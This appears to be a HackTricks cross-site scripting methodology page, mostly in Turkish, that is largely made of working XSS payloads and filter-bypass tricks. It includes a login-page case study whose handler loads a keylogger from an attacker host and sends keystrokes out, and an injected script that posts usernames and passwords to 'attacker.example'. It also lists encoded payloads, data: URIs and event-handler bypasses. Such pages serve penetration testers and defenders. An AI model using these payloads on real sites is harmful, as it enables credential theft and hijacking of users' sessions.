%.*s
XSS (Cross Site Scripting)
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Metodoloji
- Kontrol ettiğiniz herhangi bir değer (parameters, path, headers?, cookies?) HTML’de yansıtılıyor veya JS kodu tarafından kullanılıyor mu kontrol edin.
- Değerin yansıtıldığı/kullanıldığı konteksti bulun.
- Eğer yansıtılıyorsa
- Hangi sembolleri kullanabildiğinizi kontrol edin ve buna göre payload’u hazırlayın:
- Raw HTML içinde:
- Yeni HTML tag’leri oluşturabiliyor musunuz?
javascript:protokolünü destekleyen event veya attribute’ları kullanabiliyor musunuz?- Korumalardan (protections) kaçabilir misiniz?
- HTML içeriği herhangi bir client side JS engine (AngularJS, VueJS, Mavo…) tarafından yorumlanıyorsa, Client Side Template Injection suistimal edilebilir.
- Eğer JS çalıştıran HTML tag’leri oluşturamıyorsanız, Dangling Markup - HTML scriptless injection’ten yararlanabilir misiniz?
- Bir HTML tag içinde:
- Attribute’dan ve tag’den çıkarak raw HTML kontekstine geçebilir misiniz?
- JS kodu çalıştıracak yeni event/attribute’lar oluşturabilir misiniz?
- Takıldığınız attribute JS yürütmesini destekliyor mu?
- Korumalardan kaçabilir misiniz?
- JavaScript kodu içinde:
<script>tag’inden kaçabilir misiniz?- String’ten çıkıp farklı JS kodu çalıştırabilir misiniz?
- Girdiğiniz template literal’lar `` içinde mi?
- Korumalardan kaçabilir misiniz?
- Çalıştırılan JavaScript fonksiyonu
- Hangi fonksiyonun çalıştırılacağını belirtebilirsiniz. Örnek:
?callback=alert(1) - Eğer kullanılıyorsa:
- Bir DOM XSS suistimal edebilirsiniz, girdinizin nasıl kontrol edildiğine ve kontrollü girdinin herhangi bir sink tarafından kullanılıp kullanılmadığına dikkat edin.
Karmaşık bir XSS üzerinde çalışırken aşağıdakileri bilmek ilginizi çekebilir:
Yansıtılan değerler
Bir XSS’ten başarıyla faydalanmak için ilk bulmanız gereken şey, web sayfasında yansıtılan ve sizin kontrolünüzde olan bir değerdir.
- Ara yansıtılmış (Intermediately reflected): Bir parametrenin veya hatta path’in değeri web sayfasında yansıtılıyorsa Reflected XSS’i suistimal edebilirsiniz.
- Stored ve yansıtılan: Kontrolünüzde olan bir değer sunucuda saklanıyor ve her sayfa erişiminde yansıtılıyorsa Stored XSS suistimal edilebilir.
- JS ile erişilen: Kontrolünüzde olan bir değerin JS ile erişildiğini bulursanız DOM XSS suistimal edebilirsiniz.
Kontekstler
Bir XSS’i suistimal etmeye çalışırken ilk bilmeniz gereken, girdinizin nereye yansıtıldığıdır. Kontekste bağlı olarak, rastgele JS kodunu farklı yollarla çalıştırabilirsiniz.
Raw HTML
Girdiniz raw HTML içinde yansıtılıyorsa JS kodunu çalıştırmak için bazı HTML tag’lerinden faydalanmanız gerekir: <img , <iframe , <svg , <script … bunlar kullanabileceğiniz birçok HTML tag’inden sadece bazılarıdır.
Ayrıca Client Side Template Injection’i aklınızda tutun.
HTML tag attribute’ları içinde
Girdiniz bir tag’ın attribute değerinin içinde yansıtılıyorsa şunları deneyebilirsiniz:
- Attribute’dan ve tag’den kaçmak (sonrasında raw HTML kontekstinde olursunuz) ve suistimal etmek için yeni HTML tag oluşturmak:
"><img [...] - Eğer attribute’dan kaçabiliyor ama tag’den kaçamıyorsanız (
>encode edilmiş veya silinmişse), tag’e bağlı olarak JS çalıştıran bir event oluşturabilirsiniz:" autofocus onfocus=alert(1) x=" - Eğer attribute’dan kaçamıyorsanız (
"encode ediliyor veya siliniyorsa), o zaman hangi attribute içinde yansıtıldığınıza ve tüm değeri mi yoksa sadece bir kısmını mı kontrol ettiğinize bağlı olarak istismar edebilirsiniz. Örneğin, eğer bironclick=gibi bir event’i kontrol ediyorsanız tıklama ile arbitrary kod çalıştırabilirsiniz. Bir diğer ilginç örnekhrefattribute’üdür; buradajavascript:protokolünü kullanarak arbitrary kod çalıştırabilirsiniz:href="javascript:alert(1)" - Girdiniz “istismar edilemez tag’lar” içinde yansıtılıyorsa
accesskeynumarasıyla vuln’u suistimal etmeye çalışabilirsiniz (bunu suistimal etmek için biraz sosyal mühendislik gerekir):" accesskey="x" onclick="alert(1)" x="
WAF’ler arkasındaki attribute-only login XSS
Kurumsal bir SSO login sayfası OAuth service parametresini <a id="forgot_btn" ...> elementinin href attribute’unda yansıtıyordu. < ve > HTML-encode edilmiş olsa da, çift tırnaklar edilmemişti, bu yüzden saldırgan attribute’u kapatıp aynı elementi kullanarak " onfocus="payload" x=" gibi handler’lar enjekte edebildi.
- Handler’ı inject edin:
onclick="print(1)"gibi basit payload’lar engellendi, ama WAF inline attribute’ları ilk JavaScript ifadesiyle sınırlı olarak inceledi. Zararsız bir ifadeyi parantez içinde öne koyup ardından noktalı virgül eklemek, gerçek payload’un çalışmasına izin verdi:onfocus="(history.length);malicious_code_here". - Otomatik tetikleyin: Tarayıcılar fragment ile eşleşen
id’ye sahip herhangi bir elementi fokuslar, bu yüzden exploit URL’sine#forgot_btneklemek anchor’ı sayfa yüklenirken focus eder ve handler’ı tıklama gerektirmeden çalıştırır. - Inline stub’ı küçük tutun: Hedef zaten jQuery gönderiyordu. Handler sadece saldırganın sunucusundaki tam keylogger’ı yüklerken
$.getScript(...)ile bir isteği bootstrap etmeye ihtiyaç duyuyordu.
Tırnaksız string oluşturma
Tek tırnaklar URL-encoded döndürüldü ve escape edilmiş çift tırnaklar attribute’u bozduğundan, payload her string’i String.fromCharCode ile üretti. Bir yardımcı fonksiyon herhangi bir URL’yi attribute’a yapıştırmadan önce char kodlarına çevirmeyi kolaylaştırır:
function toCharCodes(str){
return `const url = String.fromCharCode(${[...str].map(c => c.charCodeAt(0)).join(',')});`
}
console.log(toCharCodes('https://attacker.tld/keylogger.js'))
Ortaya çıkan attribute şöyle görünüyordu:
onfocus="(history.length);const url=String.fromCharCode(104,116,116,112,115,58,47,47,97,116,116,97,99,107,101,114,46,116,108,100,47,107,101,121,108,111,103,103,101,114,46,106,115);$.getScript(url),function(){}"
Bunun neden kimlik bilgilerini çaldığı
Dış script (saldırgan kontrolündeki bir host veya Burp Collaborator’dan yüklenen) document.onkeypress’e bağlandı, tuş vuruşlarını tamponladı ve her saniye new Image().src = collaborator_url + keys çalıştırdı. Çünkü XSS yalnızca kimliği doğrulanmamış kullanıcılar için tetiklendiğinden, hassas işlem login formunun kendisidir — saldırgan, kurban “Login“e hiç basmasa bile kullanıcı adları ve parolaların tuş vuruşlarını kaydeder.
Weird example of Angular executing XSS if you controls a class name:
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
JavaScript kodu içinde
Bu durumda girdiniz bir HTML sayfasının <script> [...] </script> etiketleri arasında, bir .js dosyasının içinde veya javascript: protokolünü kullanan bir attribute içinde yansıtılır:
- Eğer
<script> [...] </script>etiketleri arasında yansıtılıyorsa, girdiniz herhangi bir tür tırnak içinde olsa bile</script>enjekte etmeyi ve bu bağlamdan kaçmayı deneyebilirsiniz. Bu işe yarar çünkü tarayıcı önce HTML etiketlerini parse edecek ve sonra içeriği işleyecektir; dolayısıyla enjekte ettiğiniz</script>etiketinin HTML kodunun içinde olduğunu fark etmez. - Eğer girdiniz inside a JS string yansıtılıyorsa ve önceki hile işe yaramıyorsa, string’ten çıkmanız, kodunuzu çalıştırmanız ve JS kodunu yeniden oluşturmanız gerekir (herhangi bir hata olursa, kod çalıştırılmaz:
'-alert(1)-'';-alert(1)//\';alert(1)//- Eğer template literals içinde yansıtılıyorsa,
${ ... }sözdizimini kullanarak JS ifadelerini gömebilirsiniz:var greetings = `Hello, ${alert(1)}` - Unicode encode geçerli javascript kodu yazmak için işe yarar:
alert(1)
alert(1)
alert(1)
Javascript Hoisting
Javascript Hoisting, fonksiyonları, değişkenleri veya sınıfları kullanıldıktan sonra tanımlama fırsatına atıfta bulunur; bu sayede bir XSS’in tanımlanmamış değişkenleri veya fonksiyonları kullandığı senaryolardan faydalanabilirsiniz.
Daha fazla bilgi için şu sayfayı kontrol edin:
Javascript Fonksiyonu
Bazı web sayfalarında, çalıştırılacak fonksiyonun adını parametre olarak kabul eden endpoint’ler bulunur. Vahşi ortamda sık gördüğünüz ortak bir örnek şuna benzer: ?callback=callbackFunc.
Kullanıcı tarafından doğrudan verilen bir şeyin çalıştırılmaya çalışılıp çalıştırılmadığını anlamanın iyi bir yolu, parametre değerini değiştirmek (örneğin ‘Vulnerable’) ve konsolda şu gibi hatalara bakmaktır:
.png)
Eğer vulnerable ise, sadece değeri göndererek bir alert tetikleyebilirsiniz: ?callback=alert(1). Ancak, bu endpoint’lerin içeriği sadece harf, rakam, nokta ve alt çizgiye izin verecek şekilde doğrulaması çok yaygındır ([\w\._]).
Ancak, bu sınırlama olsa bile bazı işlemleri gerçekleştirmek hâlâ mümkündür. Bunun nedeni, bu geçerli karakterleri DOM’daki herhangi bir elemana erişmek için kullanabilmenizdir:
.png)
Bazı kullanışlı fonksiyonlar için:
firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement
Ayrıca Javascript fonksiyonlarını doğrudan tetiklemeyi deneyebilirsiniz: obj.sales.delOrders.
Ancak genellikle belirtilen fonksiyonu çalıştıran endpoint’ler ilginç bir DOM’a sahip olmaz; aynı origin içindeki diğer sayfalar ise daha fazla eylem gerçekleştirmek için daha ilginç bir DOM barındırır.
Bu nedenle, bu zafiyeti farklı bir DOM’da kötüye kullanmak için Same Origin Method Execution (SOME) istismarı geliştirildi:
SOME - Same Origin Method Execution
DOM
JS code içinde location.href gibi saldırgan tarafından kontrol edilen verileri güvenli olmayan şekilde kullanan kodlar vardır. Bir saldırgan bunu kötüye kullanarak rastgele JS kodu çalıştırabilir.
Universal XSS
Bu tür XSS’ler her yerde bulunabilir. Sadece bir web uygulamasının istemci tarafı istismarına bağlı değildir; herhangi bir bağlama bağlı olabilir. Bu tür rastgele JavaScript yürütme istismarları RCE elde etmek, istemci ve sunucularda rastgele dosyaları okumak gibi daha fazla kötüye kullanıma yol açabilir ve daha fazlası.
Bazı örnekler:
WAF bypass encoding image
.jpg)
Ham HTML içine enjeksiyon
Girdiğiniz içerik HTML sayfası içinde yansıtılıyor veya bu bağlamda HTML kodu kaçıp enjekte edebiliyorsanız, yapmanız gereken ilk şey yeni tag oluşturmak için < karakterini kötüye kullanıp kullanamayacağınızı kontrol etmektir: Sadece o karakteri yansıtmayı deneyin ve bunun HTML encoded edilip edilmediğini, silinip silinmediğini ya da değişmeden yansıtılıp yansıtılmadığını kontrol edin. Yalnızca son durumda bu durumu istismar edebilirsiniz.
Bu durumlar için ayrıca Client Side Template Injection aklınızda bulundurun.
Not: Bir HTML yorumu --> veya --!> ile kapatılabilir
Bu durumda ve herhangi bir kara/beyaz listeleme kullanılmıyorsa, şu tür payload’lar kullanabilirsiniz:
<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>
But, if tags/attributes black/whitelisting is being used, you will need to brute-force which tags you can create.
Once you have located which tags are allowed, you would need to brute-force attributes/events inside the found valid tags to see how you can attack the context.
Tags/Events brute-force
Go to https://portswigger.net/web-security/cross-site-scripting/cheat-sheet and click on Copy tags to clipboard. Then, send all of them using Burp intruder and check if any tags wasn’t discovered as malicious by the WAF. Once you have discovered which tags you can use, you can brute force all the events using the valid tags (in the same web page click on Copy events to clipboard and follow the same procedure as before).
Custom tags
If you didn’t find any valid HTML tag, you could try to create a custom tag and and execute JS code with the onfocus attribute. In the XSS request, you need to end the URL with # to make the page focus on that object and execute the code:
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
Blacklist Bypasses
Eğer bir tür blacklist kullanılıyorsa, bazı basit hilelerle bypass etmeyi deneyebilirsiniz:
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG
//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>
//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09
//Unexpected parent tags
<svg><x><script>alert('1')</x>
//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>
//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //
//Extra open
<<script>alert("XSS");//<</script>
//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">
//Using `` instead of parenthesis
onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
Length bypass (small XSSs)
[!NOTE] > Farklı ortamlar için daha fazla tiny XSS payload can be found here ve here.
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
Sonuncusu 2 unicode karakteri kullanıyor ve bu 5’e genişliyor: telsr\
Daha fazla bu karakterlerden here.
Hangi karakterlere ayrıldığını kontrol etmek için here bakın.
Click XSS - Clickjacking
Eğer zafiyeti exploit etmek için kullanıcının önceden doldurulmuş bir linke veya forma tıklaması gerekiyorsa, sayfa savunmasızsa abuse Clickjacking deneyebilirsiniz.
İmkansız - Dangling Markup
Eğer sadece JS kodu çalıştırmak için attribute’a sahip bir HTML tagi oluşturmanın imkansız olduğunu düşünüyorsanız, Danglig Markup kontrol etmelisiniz çünkü zafiyeti JS çalıştırmadan exploit edebilirsiniz.
Injecting inside HTML tag
Inside the tag/escaping from attribute value
Eğer HTML tagi içinde iseniz, deneyebileceğiniz ilk şey tagdan escape ederek previous section kısmında bahsedilen tekniklerin bazılarını JS kodu çalıştırmak için kullanmaktır.
Eğer tagdan escape edemiyorsanız, tag içinde yeni attribute’lar oluşturarak JS kodu çalıştırmayı deneyebilirsiniz; örneğin şöyle bir payload kullanarak (note that in this example double quotes are use to escape from the attribute, you won’t need them if your input is reflected directly inside the tag):
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
Stil olayları
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
Öznitelik içinde
Öznitelikten kaçış sağlayamıyor olsanız bile (" kodlanıyor veya siliniyor), değerinizin hangi özniteliğe yansıtıldığına ve değerin tamamını mı yoksa sadece bir kısmını mı kontrol ettiğinize bağlı olarak bunu kötüye kullanabilirsiniz. Örneğin, onclick= gibi bir event’i kontrol ediyorsanız, tıklandığında rastgele kod çalıştırmasını sağlayabilirsiniz.
Bir diğer ilginç örnek href özniteliğidir; burada javascript: protokolünü kullanarak rastgele kod çalıştırabilirsiniz: href="javascript:alert(1)"
Event içinde bypass using HTML encoding/URL encode
HTML etiketlerinin öznitelik değerleri içindeki HTML ile kodlanmış karakterler çalışma zamanında çözülür. Bu nedenle aşağıdakine benzer bir şey geçerli olacaktır (payload kalın yazıdır): <a id="author" href="http://none" onclick="var tracker='http://foo?'-alert(1)-'';">Go Back </a>
Şunu unutmayın: Her türlü HTML kodlaması geçerlidir:
//HTML entities
'-alert(1)-'
//HTML hex without zeros
'-alert(1)-'
//HTML hex with zeros
'-alert(1)-'
//HTML dec without zeros
'-alert(1)-'
//HTML dec with zeros
'-alert(1)-'
<a href="javascript:var a=''-alert(1)-''">a</a>
<a href="javascript:alert(2)">a</a>
<a href="javascript:alert(3)">a</a>
Unutmayın ki URL encode de işe yarar:
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
Bypass event içinde Unicode encode kullanarak
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
Öznitelik İçindeki Özel Protokoller
Orada bazı yerlerde javascript: veya data: protokollerini keyfi JS kodu çalıştırmak için kullanabilirsiniz. Bazıları kullanıcı etkileşimi gerektirecek, bazıları gerektirmeyecek.
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
java //Note the new line
script:alert(1)
data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
Bu protokolleri enjekte edebileceğiniz yerler
Genel olarak javascript: protokolü href özniteliğini kabul eden herhangi bir etikette kullanılabilir ve çoğu src özniteliğini kabul eden etiketlerde de (ancak <img)
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>
//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">
Diğer obfuscation tricks
Bu durumda önceki bölümdeki HTML encoding ve Unicode encoding trick de geçerlidir çünkü attribute içindesiniz.
<a href="javascript:var a=''-alert(1)-''">
Ayrıca, bu durumlar için başka bir güzel hile daha var: javascript:... içindeki girdiniz URL encoded olsa bile, yürütülmeden önce URL decoded edilir. Yani, eğer bir single quote kullanarak string’den escape etmeniz gerekiyorsa ve bunun URL encoded olduğunu görüyorsanız, unutmayın ki fark etmez, yürütme zamanında single quote olarak yorumlanacaktır.
'-alert(1)-'
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
Unutmayın ki eğer her ikisini URLencode + HTMLencode herhangi bir sırayla payload’ı encode etmek için kullanmaya çalışırsanız bu çalışmayacaktır (işe yaramaz), ancak payload içinde bunları karıştırabilirsiniz.
javascript: ile Hex ve Octal encode kullanımı
iframe’in src attribute’ı içinde (en azından) Hex ve Octal encode kullanarak HTML tags to execute JS tanımlayabilirsiniz:
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />
//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
Reverse tab nabbing
<a target="_blank" rel="opener"
Eğer rastgele bir <a href= etiketine herhangi bir URL enjekte edebiliyorsanız ve bu etiket target="_blank" and rel="opener" özniteliklerini içeriyorsa, bu davranışı istismar etmek için aşağıdaki sayfayı kontrol edin:
on Event Handlers Bypass
Öncelikle kullanışlı “on” event handlers için bu sayfayı kontrol edin (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet).
Eğer bazı blacklist’ler bu event handler’ları oluşturmanızı engelliyorsa, aşağıdaki bypass’ları deneyebilirsiniz:
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>
//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
XSS “Sömürülemez etiketler” içinde (hidden input, link, canonical, meta)
Buradan here artık hidden inputs şu şekilde kötüye kullanılabiliyor:
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
Ve meta etiketleri:
<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
Buradan here: Bir XSS payload inside a hidden attribute çalıştırabilirsiniz, eğer victim’i ikna etmek suretiyle tuş kombinasyonu’na basmasını sağlayabilirseniz. Firefox Windows/Linux’ta tuş kombinasyonu ALT+SHIFT+X; OS X’te ise CTRL+ALT+X. access key attribute içinde farklı bir key kullanarak başka bir tuş kombinasyonu belirtebilirsiniz. İşte vektör:
<input type="hidden" accesskey="X" onclick="alert(1)">
XSS payload şu şekilde olabilir: " accesskey="x" onclick="alert(1)" x="
Blacklist Bypasses
Bu bölümde farklı encoding kullanarak yapılan birkaç hile zaten gösterildi. Geri dönüp nerelerde kullanabileceğinizi öğrenin:
- HTML encoding (HTML tags)
- Unicode encoding (can be valid JS code):
\u0061lert(1) - URL encoding
- Hex and Octal encoding
- data encoding
Bypasses for HTML tags and attributes
Önceki bölümdeki Blacklist Bypasses of the previous section bölümünü okuyun.
Bypasses for JavaScript code
Aşağıdaki bölümdeki JavaScript bypass blacklist of the following section bölümünü okuyun.
CSS-Gadgets
Eğer web’in çok küçük bir kısmında etkileşim gerektiren bir XSS bulduysanız (ör. footer’da onmouseover öğesi içeren küçük bir link), linkin tetiklenme olasılığını maksimize etmek için o öğenin kapladığı alanı değiştirmeyi deneyebilirsiniz.
Örneğin, öğeye şu stili ekleyebilirsiniz: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5
Ancak, WAF style attribute’unu filtreliyorsa, CSS Styling Gadgets kullanabilirsiniz; örneğin şuları bulursanız
.test {display:block; color: blue; width: 100%}
ve
#someid {top: 0; font-family: Tahoma;}
Şimdi linkimizi şu forma dönüştürebilirsiniz:
<a href=“” id=someid class=test onclick=alert() a=“”>
Bu hile şu kaynaktan alınmıştır: https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703
Injecting inside JavaScript code
Bu durumda sizin input değeriniz bir .js dosyasının veya <script>...</script> etiketleri arasındaki JS kodu içinde, JS çalıştırabilecek HTML event’leri arasında veya javascript: protokolünü kabul eden attribute’lar içinde yansıtılacaktır.
Escaping <script> tag
Eğer kodunuz <script> [...] var input = 'reflected data' [...] </script> içine yerleştiriliyorsa, kolayca <script> etiketinin kapanışından kaçabilirsiniz:
</script><img src=1 onerror=alert(document.domain)>
Bu örnekte tek tırnak işaretini bile kapatmadığımıza dikkat edin. Bunun nedeni, HTML ayrıştırmasının önce tarayıcı tarafından yapılmasıdır, bu işlem sayfa öğelerinin, script blokları dahil, tanımlanmasını içerir. JavaScript’in gömülü scriptleri anlamak ve çalıştırmak için ayrıştırılması ise yalnızca sonrasında gerçekleştirilir.
JS kodu içinde
Eğer <> temizleniyorsa, yine girişinizin bulunduğu yerde dizeyi escape ederek ve keyfi JS çalıştırabilirsiniz. JS sözdizimini düzeltmek önemlidir, çünkü herhangi bir hata varsa, JS kodu çalıştırılmayacaktır:
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
JS-in-JS string break → inject → repair pattern
Kullanıcı girdisi tırnak içine alınmış bir JavaScript stringi içine düştüğünde (ör. server-side echo ile bir inline script’e), stringi sonlandırabilir, kod enjekte edebilir ve ayrıştırmanın geçerli kalması için sözdizimini onarabilirsiniz. Genel iskelet:
" // end original string
; // safely terminate the statement
<INJECTION> // attacker-controlled JS
; a = " // repair and resume expected string/statement
Zafiyetli parametrenin bir JS string’ine yansıtıldığı örnek URL deseni:
?param=test";<INJECTION>;a="
Bu, HTML bağlamına dokunmaya gerek kalmadan saldırgan JS’in çalıştırılmasını sağlar (pure JS-in-JS). Filtreler anahtar kelimeleri engellediğinde aşağıdaki blacklist bypasses ile birleştirin.
Template literals ``
Tek ve çift tırnakların dışında strings oluşturmak için JS ayrıca backticks `` kabul eder. Bu, ${ … } sözdizimiyle embedded JS expressions yerleştirmeye izin verdiği için template literals olarak bilinir.
Bu yüzden, girdiniz backticks kullanan bir JS string’inin içinde reflected ediliyorsa, ${ ... } sözdizimini kötüye kullanarak arbitrary JS code çalıştırabilirsiniz:
Bu şu şekilde kötüye kullanılabilir:
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``
Encoded code execution
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
eval(atob()) ve scope nüanslarıyla teslim edilebilir payloads
URL’leri kısaltmak ve basit anahtar kelime filtrelerini aşmak için gerçek mantığınızı base64 ile encode edip eval(atob('...')) ile çalıştırabilirsiniz. Basit anahtar kelime filtresi alert, eval veya atob gibi identifier’ları engelliyorsa, tarayıcıda aynı şekilde derlenen ancak string-eşleme filtrelerinden kaçan Unicode-escaped identifier’lar kullanın:
\u0061\u006C\u0065\u0072\u0074(1) // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64')) // eval(atob('...'))
Önemli bir scoping nüansı: eval() içinde tanımlanan const/let blok kapsamlıdır ve globals oluşturmaz; daha sonraki script’lerden erişilemezler. Gerekirse (örn. bir form handler’ını hijack etmek için) global, non-rebindable hook’lar tanımlamak üzere dinamik olarak enjekte edilen bir <script> elementi kullanın:
var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);
Referans: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
Unicode Encode ile JS yürütme
alert(1)
alert(1)
alert(1)
JavaScript bypass blacklists teknikleri
Strings
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))
Özel kaçışlar
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself
JS kodu içindeki boşluk ikameleri
<TAB>
/**/
JavaScript yorumları (JavaScript Comments trick’ten)
